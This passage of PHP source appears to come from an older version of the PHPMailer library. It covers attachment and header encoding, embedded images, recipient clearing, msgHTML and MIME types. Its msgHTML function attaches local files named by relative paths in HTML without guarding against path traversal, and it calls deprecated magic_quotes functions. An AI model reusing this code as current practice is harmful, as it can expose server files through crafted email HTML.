  2646.                 } else {
  2647.                     $mime[] = $this->encodeFile($path, $encoding);
  2648.                     if ($this->isError()) {
  2649.                         return '';
  2650.                     }
  2651.                     $mime[] = $this->LE . $this->LE;
  2652.                 }
  2653.             }
  2654.         }
  2655.  
  2656.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2657.  
  2658.         return implode('', $mime);
  2659.     }
  2660.  
  2661.     /**
  2662.      * Encode a file attachment in requested format.
  2663.      * Returns an empty string on failure.
  2664.      * @param string $path The full path to the file
  2665.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2666.      * @throws phpmailerException
  2667.      * @access protected
  2668.      * @return string
  2669.      */
  2670.     protected function encodeFile($path, $encoding = 'base64')
  2671.     {
  2672.         try {
  2673.             if (!is_readable($path)) {
  2674.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2675.             }
  2676.             $magic_quotes = get_magic_quotes_runtime();
  2677.             if ($magic_quotes) {
  2678.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2679.                     set_magic_quotes_runtime(false);
  2680.                 } else {
  2681.                     //Doesn't exist in PHP 5.4, but we don't need to check because
  2682.                     //get_magic_quotes_runtime always returns false in 5.4+
  2683.                     //so it will never get here
  2684.                     ini_set('magic_quotes_runtime', false);
  2685.                 }
  2686.             }
  2687.             $file_buffer = file_get_contents($path);
  2688.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  2689.             if ($magic_quotes) {
  2690.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2691.                     set_magic_quotes_runtime($magic_quotes);
  2692.                 } else {
  2693.                     ini_set('magic_quotes_runtime', $magic_quotes);
  2694.                 }
  2695.             }
  2696.             return $file_buffer;
  2697.         } catch (Exception $exc) {
  2698.             $this->setError($exc->getMessage());
  2699.             return '';
  2700.         }
  2701.     }
  2702.  
  2703.     /**
  2704.      * Encode a string in requested format.
  2705.      * Returns an empty string on failure.
  2706.      * @param string $str The text to encode
  2707.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2708.      * @access public
  2709.      * @return string
  2710.      */
  2711.     public function encodeString($str, $encoding = 'base64')
  2712.     {
  2713.         $encoded = '';
  2714.         switch (strtolower($encoding)) {
  2715.             case 'base64':
  2716.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2717.                 break;
  2718.             case '7bit':
  2719.             case '8bit':
  2720.                 $encoded = $this->fixEOL($str);
  2721.                 // Make sure it ends with a line break
  2722.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2723.                     $encoded .= $this->LE;
  2724.                 }
  2725.                 break;
  2726.             case 'binary':
  2727.                 $encoded = $str;
  2728.                 break;
  2729.             case 'quoted-printable':
  2730.                 $encoded = $this->encodeQP($str);
  2731.                 break;
  2732.             default:
  2733.                 $this->setError($this->lang('encoding') . $encoding);
  2734.                 break;
  2735.         }
  2736.         return $encoded;
  2737.     }
  2738.  
  2739.     /**
  2740.      * Encode a header string optimally.
  2741.      * Picks shortest of Q, B, quoted-printable or none.
  2742.      * @access public
  2743.      * @param string $str
  2744.      * @param string $position
  2745.      * @return string
  2746.      */
  2747.     public function encodeHeader($str, $position = 'text')
  2748.     {
  2749.         $matchcount = 0;
  2750.         switch (strtolower($position)) {
  2751.             case 'phrase':
  2752.                 if (!preg_match('/[\200-\377]/', $str)) {
  2753.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2754.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  2755.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2756.                         return ($encoded);
  2757.                     } else {
  2758.                         return ("\"$encoded\"");
  2759.                     }
  2760.                 }
  2761.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2762.                 break;
  2763.             /** @noinspection PhpMissingBreakStatementInspection */
  2764.             case 'comment':
  2765.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2766.                 // Intentional fall-through
  2767.             case 'text':
  2768.             default:
  2769.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2770.                 break;
  2771.         }
  2772.  
  2773.         //There are no chars that need encoding
  2774.         if ($matchcount == 0) {
  2775.             return ($str);
  2776.         }
  2777.  
  2778.         $maxlen = 75 - 7 - strlen($this->CharSet);
  2779.         // Try to select the encoding which should produce the shortest output
  2780.         if ($matchcount > strlen($str) / 3) {
  2781.             // More than a third of the content will need encoding, so B encoding will be most efficient
  2782.             $encoding = 'B';
  2783.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2784.                 // Use a custom function which correctly encodes and wraps long
  2785.                 // multibyte strings without breaking lines within a character
  2786.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  2787.             } else {
  2788.                 $encoded = base64_encode($str);
  2789.                 $maxlen -= $maxlen % 4;
  2790.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2791.             }
  2792.         } else {
  2793.             $encoding = 'Q';
  2794.             $encoded = $this->encodeQ($str, $position);
  2795.             $encoded = $this->wrapText($encoded, $maxlen, true);
  2796.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2797.         }
  2798.  
  2799.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2800.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2801.  
  2802.         return $encoded;
  2803.     }
  2804.  
  2805.     /**
  2806.      * Check if a string contains multi-byte characters.
  2807.      * @access public
  2808.      * @param string $str multi-byte text to wrap encode
  2809.      * @return boolean
  2810.      */
  2811.     public function hasMultiBytes($str)
  2812.     {
  2813.         if (function_exists('mb_strlen')) {
  2814.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  2815.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2816.             return false;
  2817.         }
  2818.     }
  2819.  
  2820.     /**
  2821.      * Does a string contain any 8-bit chars (in any charset)?
  2822.      * @param string $text
  2823.      * @return boolean
  2824.      */
  2825.     public function has8bitChars($text)
  2826.     {
  2827.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2828.     }
  2829.  
  2830.     /**
  2831.      * Encode and wrap long multibyte strings for mail headers
  2832.      * without breaking lines within a character.
  2833.      * Adapted from a function by paravoid
  2834.      * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2835.      * @access public
  2836.      * @param string $str multi-byte text to wrap encode
  2837.      * @param string $linebreak string to use as linefeed/end-of-line
  2838.      * @return string
  2839.      */
  2840.     public function base64EncodeWrapMB($str, $linebreak = null)
  2841.     {
  2842.         $start = '=?' . $this->CharSet . '?B?';
  2843.         $end = '?=';
  2844.         $encoded = '';
  2845.         if ($linebreak === null) {
  2846.             $linebreak = $this->LE;
  2847.         }
  2848.  
  2849.         $mb_length = mb_strlen($str, $this->CharSet);
  2850.         // Each line must have length <= 75, including $start and $end
  2851.         $length = 75 - strlen($start) - strlen($end);
  2852.         // Average multi-byte ratio
  2853.         $ratio = $mb_length / strlen($str);
  2854.         // Base64 has a 4:3 ratio
  2855.         $avgLength = floor($length * $ratio * .75);
  2856.  
  2857.         for ($i = 0; $i < $mb_length; $i += $offset) {
  2858.             $lookBack = 0;
  2859.             do {
  2860.                 $offset = $avgLength - $lookBack;
  2861.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2862.                 $chunk = base64_encode($chunk);
  2863.                 $lookBack++;
  2864.             } while (strlen($chunk) > $length);
  2865.             $encoded .= $chunk . $linebreak;
  2866.         }
  2867.  
  2868.         // Chomp the last linefeed
  2869.         $encoded = substr($encoded, 0, -strlen($linebreak));
  2870.         return $encoded;
  2871.     }
  2872.  
  2873.     /**
  2874.      * Encode a string in quoted-printable format.
  2875.      * According to RFC2045 section 6.7.
  2876.      * @access public
  2877.      * @param string $string The text to encode
  2878.      * @param integer $line_max Number of chars allowed on a line before wrapping
  2879.      * @return string
  2880.      * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2881.      */
  2882.     public function encodeQP($string, $line_max = 76)
  2883.     {
  2884.         // Use native function if it's available (>= PHP5.3)
  2885.         if (function_exists('quoted_printable_encode')) {
  2886.             return quoted_printable_encode($string);
  2887.         }
  2888.         // Fall back to a pure PHP implementation
  2889.         $string = str_replace(
  2890.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  2891.             array(' ', "\r\n=2E", "\r\n", '='),
  2892.             rawurlencode($string)
  2893.         );
  2894.         return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2895.     }
  2896.  
  2897.     /**
  2898.      * Backward compatibility wrapper for an old QP encoding function that was removed.
  2899.      * @see PHPMailer::encodeQP()
  2900.      * @access public
  2901.      * @param string $string
  2902.      * @param integer $line_max
  2903.      * @param boolean $space_conv
  2904.      * @return string
  2905.      * @deprecated Use encodeQP instead.
  2906.      */
  2907.     public function encodeQPphp(
  2908.         $string,
  2909.         $line_max = 76,
  2910.         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2911.     ) {
  2912.         return $this->encodeQP($string, $line_max);
  2913.     }
  2914.  
  2915.     /**
  2916.      * Encode a string using Q encoding.
  2917.      * @link http://tools.ietf.org/html/rfc2047
  2918.      * @param string $str the text to encode
  2919.      * @param string $position Where the text is going to be used, see the RFC for what that means
  2920.      * @access public
  2921.      * @return string
  2922.      */
  2923.     public function encodeQ($str, $position = 'text')
  2924.     {
  2925.         // There should not be any EOL in the string
  2926.         $pattern = '';
  2927.         $encoded = str_replace(array("\r", "\n"), '', $str);
  2928.         switch (strtolower($position)) {
  2929.             case 'phrase':
  2930.                 // RFC 2047 section 5.3
  2931.                 $pattern = '^A-Za-z0-9!*+\/ -';
  2932.                 break;
  2933.             /** @noinspection PhpMissingBreakStatementInspection */
  2934.             case 'comment':
  2935.                 // RFC 2047 section 5.2
  2936.                 $pattern = '\(\)"';
  2937.                 // intentional fall-through
  2938.                 // for this reason we build the $pattern without including delimiters and []
  2939.             case 'text':
  2940.             default:
  2941.                 // RFC 2047 section 5.1
  2942.                 // Replace every high ascii, control, =, ? and _ characters
  2943.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2944.                 break;
  2945.         }
  2946.         $matches = array();
  2947.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2948.             // If the string contains an '=', make sure it's the first thing we replace
  2949.             // so as to avoid double-encoding
  2950.             $eqkey = array_search('=', $matches[0]);
  2951.             if (false !== $eqkey) {
  2952.                 unset($matches[0][$eqkey]);
  2953.                 array_unshift($matches[0], '=');
  2954.             }
  2955.             foreach (array_unique($matches[0]) as $char) {
  2956.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2957.             }
  2958.         }
  2959.         // Replace every spaces to _ (more readable than =20)
  2960.         return str_replace(' ', '_', $encoded);
  2961.     }
  2962.  
  2963.     /**
  2964.      * Add a string or binary attachment (non-filesystem).
  2965.      * This method can be used to attach ascii or binary data,
  2966.      * such as a BLOB record from a database.
  2967.      * @param string $string String attachment data.
  2968.      * @param string $filename Name of the attachment.
  2969.      * @param string $encoding File encoding (see $Encoding).
  2970.      * @param string $type File extension (MIME) type.
  2971.      * @param string $disposition Disposition to use
  2972.      * @return void
  2973.      */
  2974.     public function addStringAttachment(
  2975.         $string,
  2976.         $filename,
  2977.         $encoding = 'base64',
  2978.         $type = '',
  2979.         $disposition = 'attachment'
  2980.     ) {
  2981.         // If a MIME type is not specified, try to work it out from the file name
  2982.         if ($type == '') {
  2983.             $type = self::filenameToType($filename);
  2984.         }
  2985.         // Append to $attachment array
  2986.         $this->attachment[] = array(
  2987.             0 => $string,
  2988.             1 => $filename,
  2989.             2 => basename($filename),
  2990.             3 => $encoding,
  2991.             4 => $type,
  2992.             5 => true, // isStringAttachment
  2993.             6 => $disposition,
  2994.             7 => 0
  2995.         );
  2996.     }
  2997.  
  2998.     /**
  2999.      * Add an embedded (inline) attachment from a file.
  3000.      * This can include images, sounds, and just about any other document type.
  3001.      * These differ from 'regular' attachments in that they are intended to be
  3002.      * displayed inline with the message, not just attached for download.
  3003.      * This is used in HTML messages that embed the images
  3004.      * the HTML refers to using the $cid value.
  3005.      * @param string $path Path to the attachment.
  3006.      * @param string $cid Content ID of the attachment; Use this to reference
  3007.      *        the content when using an embedded image in HTML.
  3008.      * @param string $name Overrides the attachment name.
  3009.      * @param string $encoding File encoding (see $Encoding).
  3010.      * @param string $type File MIME type.
  3011.      * @param string $disposition Disposition to use
  3012.      * @return boolean True on successfully adding an attachment
  3013.      */
  3014.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3015.     {
  3016.         if (!@is_file($path)) {
  3017.             $this->setError($this->lang('file_access') . $path);
  3018.             return false;
  3019.         }
  3020.  
  3021.         // If a MIME type is not specified, try to work it out from the file name
  3022.         if ($type == '') {
  3023.             $type = self::filenameToType($path);
  3024.         }
  3025.  
  3026.         $filename = basename($path);
  3027.         if ($name == '') {
  3028.             $name = $filename;
  3029.         }
  3030.  
  3031.         // Append to $attachment array
  3032.         $this->attachment[] = array(
  3033.             0 => $path,
  3034.             1 => $filename,
  3035.             2 => $name,
  3036.             3 => $encoding,
  3037.             4 => $type,
  3038.             5 => false, // isStringAttachment
  3039.             6 => $disposition,
  3040.             7 => $cid
  3041.         );
  3042.         return true;
  3043.     }
  3044.  
  3045.     /**
  3046.      * Add an embedded stringified attachment.
  3047.      * This can include images, sounds, and just about any other document type.
  3048.      * Be sure to set the $type to an image type for images:
  3049.      * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3050.      * @param string $string The attachment binary data.
  3051.      * @param string $cid Content ID of the attachment; Use this to reference
  3052.      *        the content when using an embedded image in HTML.
  3053.      * @param string $name
  3054.      * @param string $encoding File encoding (see $Encoding).
  3055.      * @param string $type MIME type.
  3056.      * @param string $disposition Disposition to use
  3057.      * @return boolean True on successfully adding an attachment
  3058.      */
  3059.     public function addStringEmbeddedImage(
  3060.         $string,
  3061.         $cid,
  3062.         $name = '',
  3063.         $encoding = 'base64',
  3064.         $type = '',
  3065.         $disposition = 'inline'
  3066.     ) {
  3067.         // If a MIME type is not specified, try to work it out from the name
  3068.         if ($type == '' and !empty($name)) {
  3069.             $type = self::filenameToType($name);
  3070.         }
  3071.  
  3072.         // Append to $attachment array
  3073.         $this->attachment[] = array(
  3074.             0 => $string,
  3075.             1 => $name,
  3076.             2 => $name,
  3077.             3 => $encoding,
  3078.             4 => $type,
  3079.             5 => true, // isStringAttachment
  3080.             6 => $disposition,
  3081.             7 => $cid
  3082.         );
  3083.         return true;
  3084.     }
  3085.  
  3086.     /**
  3087.      * Check if an inline attachment is present.
  3088.      * @access public
  3089.      * @return boolean
  3090.      */
  3091.     public function inlineImageExists()
  3092.     {
  3093.         foreach ($this->attachment as $attachment) {
  3094.             if ($attachment[6] == 'inline') {
  3095.                 return true;
  3096.             }
  3097.         }
  3098.         return false;
  3099.     }
  3100.  
  3101.     /**
  3102.      * Check if an attachment (non-inline) is present.
  3103.      * @return boolean
  3104.      */
  3105.     public function attachmentExists()
  3106.     {
  3107.         foreach ($this->attachment as $attachment) {
  3108.             if ($attachment[6] == 'attachment') {
  3109.                 return true;
  3110.             }
  3111.         }
  3112.         return false;
  3113.     }
  3114.  
  3115.     /**
  3116.      * Check if this message has an alternative body set.
  3117.      * @return boolean
  3118.      */
  3119.     public function alternativeExists()
  3120.     {
  3121.         return !empty($this->AltBody);
  3122.     }
  3123.  
  3124.     /**
  3125.      * Clear queued addresses of given kind.
  3126.      * @access protected
  3127.      * @param string $kind 'to', 'cc', or 'bcc'
  3128.      * @return void
  3129.      */
  3130.     public function clearQueuedAddresses($kind)
  3131.     {
  3132.         $RecipientsQueue = $this->RecipientsQueue;
  3133.         foreach ($RecipientsQueue as $address => $params) {
  3134.             if ($params[0] == $kind) {
  3135.                 unset($this->RecipientsQueue[$address]);
  3136.             }
  3137.         }
  3138.     }
  3139.  
  3140.     /**
  3141.      * Clear all To recipients.
  3142.      * @return void
  3143.      */
  3144.     public function clearAddresses()
  3145.     {
  3146.         foreach ($this->to as $to) {
  3147.             unset($this->all_recipients[strtolower($to[0])]);
  3148.         }
  3149.         $this->to = array();
  3150.         $this->clearQueuedAddresses('to');
  3151.     }
  3152.  
  3153.     /**
  3154.      * Clear all CC recipients.
  3155.      * @return void
  3156.      */
  3157.     public function clearCCs()
  3158.     {
  3159.         foreach ($this->cc as $cc) {
  3160.             unset($this->all_recipients[strtolower($cc[0])]);
  3161.         }
  3162.         $this->cc = array();
  3163.         $this->clearQueuedAddresses('cc');
  3164.     }
  3165.  
  3166.     /**
  3167.      * Clear all BCC recipients.
  3168.      * @return void
  3169.      */
  3170.     public function clearBCCs()
  3171.     {
  3172.         foreach ($this->bcc as $bcc) {
  3173.             unset($this->all_recipients[strtolower($bcc[0])]);
  3174.         }
  3175.         $this->bcc = array();
  3176.         $this->clearQueuedAddresses('bcc');
  3177.     }
  3178.  
  3179.     /**
  3180.      * Clear all ReplyTo recipients.
  3181.      * @return void
  3182.      */
  3183.     public function clearReplyTos()
  3184.     {
  3185.         $this->ReplyTo = array();
  3186.         $this->ReplyToQueue = array();
  3187.     }
  3188.  
  3189.     /**
  3190.      * Clear all recipient types.
  3191.      * @return void
  3192.      */
  3193.     public function clearAllRecipients()
  3194.     {
  3195.         $this->to = array();
  3196.         $this->cc = array();
  3197.         $this->bcc = array();
  3198.         $this->all_recipients = array();
  3199.         $this->RecipientsQueue = array();
  3200.     }
  3201.  
  3202.     /**
  3203.      * Clear all filesystem, string, and binary attachments.
  3204.      * @return void
  3205.      */
  3206.     public function clearAttachments()
  3207.     {
  3208.         $this->attachment = array();
  3209.     }
  3210.  
  3211.     /**
  3212.      * Clear all custom headers.
  3213.      * @return void
  3214.      */
  3215.     public function clearCustomHeaders()
  3216.     {
  3217.         $this->CustomHeader = array();
  3218.     }
  3219.  
  3220.     /**
  3221.      * Add an error message to the error container.
  3222.      * @access protected
  3223.      * @param string $msg
  3224.      * @return void
  3225.      */
  3226.     protected function setError($msg)
  3227.     {
  3228.         $this->error_count++;
  3229.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3230.             $lasterror = $this->smtp->getError();
  3231.             if (!empty($lasterror['error'])) {
  3232.                 $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3233.                 if (!empty($lasterror['detail'])) {
  3234.                     $msg .= ' Detail: '. $lasterror['detail'];
  3235.                 }
  3236.                 if (!empty($lasterror['smtp_code'])) {
  3237.                     $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3238.                 }
  3239.                 if (!empty($lasterror['smtp_code_ex'])) {
  3240.                     $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3241.                 }
  3242.             }
  3243.         }
  3244.         $this->ErrorInfo = $msg;
  3245.     }
  3246.  
  3247.     /**
  3248.      * Return an RFC 822 formatted date.
  3249.      * @access public
  3250.      * @return string
  3251.      * @static
  3252.      */
  3253.     public static function rfcDate()
  3254.     {
  3255.         // Set the time zone to whatever the default is to avoid 500 errors
  3256.         // Will default to UTC if it's not set properly in php.ini
  3257.         date_default_timezone_set(@date_default_timezone_get());
  3258.         return date('D, j M Y H:i:s O');
  3259.     }
  3260.  
  3261.     /**
  3262.      * Get the server hostname.
  3263.      * Returns 'localhost.localdomain' if unknown.
  3264.      * @access protected
  3265.      * @return string
  3266.      */
  3267.     protected function serverHostname()
  3268.     {
  3269.         $result = 'localhost.localdomain';
  3270.         if (!empty($this->Hostname)) {
  3271.             $result = $this->Hostname;
  3272.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3273.             $result = $_SERVER['SERVER_NAME'];
  3274.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  3275.             $result = gethostname();
  3276.         } elseif (php_uname('n') !== false) {
  3277.             $result = php_uname('n');
  3278.         }
  3279.         return $result;
  3280.     }
  3281.  
  3282.     /**
  3283.      * Get an error message in the current language.
  3284.      * @access protected
  3285.      * @param string $key
  3286.      * @return string
  3287.      */
  3288.     protected function lang($key)
  3289.     {
  3290.         if (count($this->language) < 1) {
  3291.             $this->setLanguage('en'); // set the default language
  3292.         }
  3293.  
  3294.         if (array_key_exists($key, $this->language)) {
  3295.             if ($key == 'smtp_connect_failed') {
  3296.                 //Include a link to troubleshooting docs on SMTP connection failure
  3297.                 //this is by far the biggest cause of support questions
  3298.                 //but it's usually not PHPMailer's fault.
  3299.                 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3300.             }
  3301.             return $this->language[$key];
  3302.         } else {
  3303.             //Return the key as a fallback
  3304.             return $key;
  3305.         }
  3306.     }
  3307.  
  3308.     /**
  3309.      * Check if an error occurred.
  3310.      * @access public
  3311.      * @return boolean True if an error did occur.
  3312.      */
  3313.     public function isError()
  3314.     {
  3315.         return ($this->error_count > 0);
  3316.     }
  3317.  
  3318.     /**
  3319.      * Ensure consistent line endings in a string.
  3320.      * Changes every end of line from CRLF, CR or LF to $this->LE.
  3321.      * @access public
  3322.      * @param string $str String to fixEOL
  3323.      * @return string
  3324.      */
  3325.     public function fixEOL($str)
  3326.     {
  3327.         // Normalise to \n
  3328.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3329.         // Now convert LE as needed
  3330.         if ($this->LE !== "\n") {
  3331.             $nstr = str_replace("\n", $this->LE, $nstr);
  3332.         }
  3333.         return $nstr;
  3334.     }
  3335.  
  3336.     /**
  3337.      * Add a custom header.
  3338.      * $name value can be overloaded to contain
  3339.      * both header name and value (name:value)
  3340.      * @access public
  3341.      * @param string $name Custom header name
  3342.      * @param string $value Header value
  3343.      * @return void
  3344.      */
  3345.     public function addCustomHeader($name, $value = null)
  3346.     {
  3347.         if ($value === null) {
  3348.             // Value passed in as name:value
  3349.             $this->CustomHeader[] = explode(':', $name, 2);
  3350.         } else {
  3351.             $this->CustomHeader[] = array($name, $value);
  3352.         }
  3353.     }
  3354.  
  3355.     /**
  3356.      * Returns all custom headers.
  3357.      * @return array
  3358.      */
  3359.     public function getCustomHeaders()
  3360.     {
  3361.         return $this->CustomHeader;
  3362.     }
  3363.  
  3364.     /**
  3365.      * Create a message from an HTML string.
  3366.      * Automatically makes modifications for inline images and backgrounds
  3367.      * and creates a plain-text version by converting the HTML.
  3368.      * Overwrites any existing values in $this->Body and $this->AltBody
  3369.      * @access public
  3370.      * @param string $message HTML message string
  3371.      * @param string $basedir baseline directory for path
  3372.      * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3373.      *    or your own custom converter @see PHPMailer::html2text()
  3374.      * @return string $message
  3375.      */
  3376.     public function msgHTML($message, $basedir = '', $advanced = false)
  3377.     {
  3378.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3379.         if (array_key_exists(2, $images)) {
  3380.             foreach ($images[2] as $imgindex => $url) {
  3381.                 // Convert data URIs into embedded images
  3382.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3383.                     $data = substr($url, strpos($url, ','));
  3384.                     if ($match[2]) {
  3385.                         $data = base64_decode($data);
  3386.                     } else {
  3387.                         $data = rawurldecode($data);
  3388.                     }
  3389.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3390.                     if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3391.                         $message = str_replace(
  3392.                             $images[0][$imgindex],
  3393.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3394.                             $message
  3395.                         );
  3396.                     }
  3397.                 } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3398.                     // Do not change urls for absolute images (thanks to corvuscorax)
  3399.                     // Do not change urls that are already inline images
  3400.                     $filename = basename($url);
  3401.                     $directory = dirname($url);
  3402.                     if ($directory == '.') {
  3403.                         $directory = '';
  3404.                     }
  3405.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3406.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3407.                         $basedir .= '/';
  3408.                     }
  3409.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3410.                         $directory .= '/';
  3411.                     }
  3412.                     if ($this->addEmbeddedImage(
  3413.                         $basedir . $directory . $filename,
  3414.                         $cid,
  3415.                         $filename,
  3416.                         'base64',
  3417.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3418.                     )
  3419.                     ) {
  3420.                         $message = preg_replace(
  3421.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3422.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3423.                             $message
  3424.                         );
  3425.                     }
  3426.                 }
  3427.             }
  3428.         }
  3429.         $this->isHTML(true);
  3430.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3431.         $this->Body = $this->normalizeBreaks($message);
  3432.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3433.         if (empty($this->AltBody)) {
  3434.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3435.                 self::CRLF . self::CRLF;
  3436.         }
  3437.         return $this->Body;
  3438.     }
  3439.  
  3440.     /**
  3441.      * Convert an HTML string into plain text.
  3442.      * This is used by msgHTML().
  3443.      * Note - older versions of this function used a bundled advanced converter
  3444.      * which was been removed for license reasons in #232
  3445.      * Example usage:
  3446.      * <code>
  3447.      * // Use default conversion
  3448.      * $plain = $mail->html2text($html);
  3449.      * // Use your own custom converter
  3450.      * $plain = $mail->html2text($html, function($html) {
  3451.      *     $converter = new MyHtml2text($html);
  3452.      *     return $converter->get_text();
  3453.      * });
  3454.      * </code>
  3455.      * @param string $html The HTML text to convert
  3456.      * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3457.      *   or provide your own callable for custom conversion.
  3458.      * @return string
  3459.      */
  3460.     public function html2text($html, $advanced = false)
  3461.     {
  3462.         if (is_callable($advanced)) {
  3463.             return call_user_func($advanced, $html);
  3464.         }
  3465.         return html_entity_decode(
  3466.             trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3467.             ENT_QUOTES,
  3468.             $this->CharSet
  3469.         );
  3470.     }
  3471.  
  3472.     /**
  3473.      * Get the MIME type for a file extension.
  3474.      * @param string $ext File extension
  3475.      * @access public
  3476.      * @return string MIME type of file.
  3477.      * @static
  3478.      */
  3479.     public static function _mime_types($ext = '')
  3480.     {
  3481.         $mimes = array(
  3482.             'xl'    => 'application/excel',
  3483.             'js'    => 'application/javascript',
  3484.             'hqx'   => 'application/mac-binhex40',
  3485.             'cpt'   => 'application/mac-compactpro',
  3486.             'bin'   => 'application/macbinary',
  3487.             'doc'   => 'application/msword',
  3488.             'word'  => 'application/msword',
  3489.             'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3490.             'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3491.             'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3492.             'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3493.             'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3494.             'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3495.             'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3496.             'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3497.             'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3498.             'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3499.             'class' => 'application/octet-stream',
  3500.             'dll'   => 'application/octet-stream',
  3501.             'dms'   => 'application/octet-stream',
  3502.             'exe'   => 'application/octet-stream',
  3503.             'lha'   => 'application/octet-stream',
  3504.             'lzh'   => 'application/octet-stream',
  3505.             'psd'   => 'application/octet-stream',
  3506.             'sea'   => 'application/octet-stream',
  3507.             'so'    => 'application/octet-stream',
  3508.             'oda'   => 'application/oda',
  3509.             'pdf'   => 'application/pdf',
  3510.             'ai'    => 'application/postscript',
  3511.             'eps'   => 'application/postscript',
  3512.             'ps'    => 'application/postscript',
  3513.             'smi'   => 'application/smil',
  3514.             'smil'  => 'application/smil',
  3515.             'mif'   => 'application/vnd.mif',
  3516.             'xls'   => 'application/vnd.ms-excel',
  3517.             'ppt'   => 'application/vnd.ms-powerpoint',
  3518.             'wbxml' => 'application/vnd.wap.wbxml',
  3519.             'wmlc'  => 'application/vnd.wap.wmlc',
  3520.             'dcr'   => 'application/x-director',
  3521.             'dir'   => 'application/x-director',
  3522.             'dxr'   => 'application/x-director',
  3523.             'dvi'   => 'application/x-dvi',
  3524.             'gtar'  => 'application/x-gtar',
  3525.             'php3'  => 'application/x-httpd-php',
  3526.             'php4'  => 'application/x-httpd-php',
  3527.             'php'   => 'application/x-httpd-php',
  3528.             'phtml' => 'application/x-httpd-php',
  3529.             'phps'  => 'application/x-httpd-php-source',
  3530.             'swf'   => 'application/x-shockwave-flash',
  3531.             'sit'   => 'application/x-stuffit',
  3532.             'tar'   => 'application/x-tar',
  3533.             'tgz'   => 'application/x-tar',
  3534.             'xht'   => 'application/xhtml+xml',
  3535.             'xhtml' => 'application/xhtml+xml',
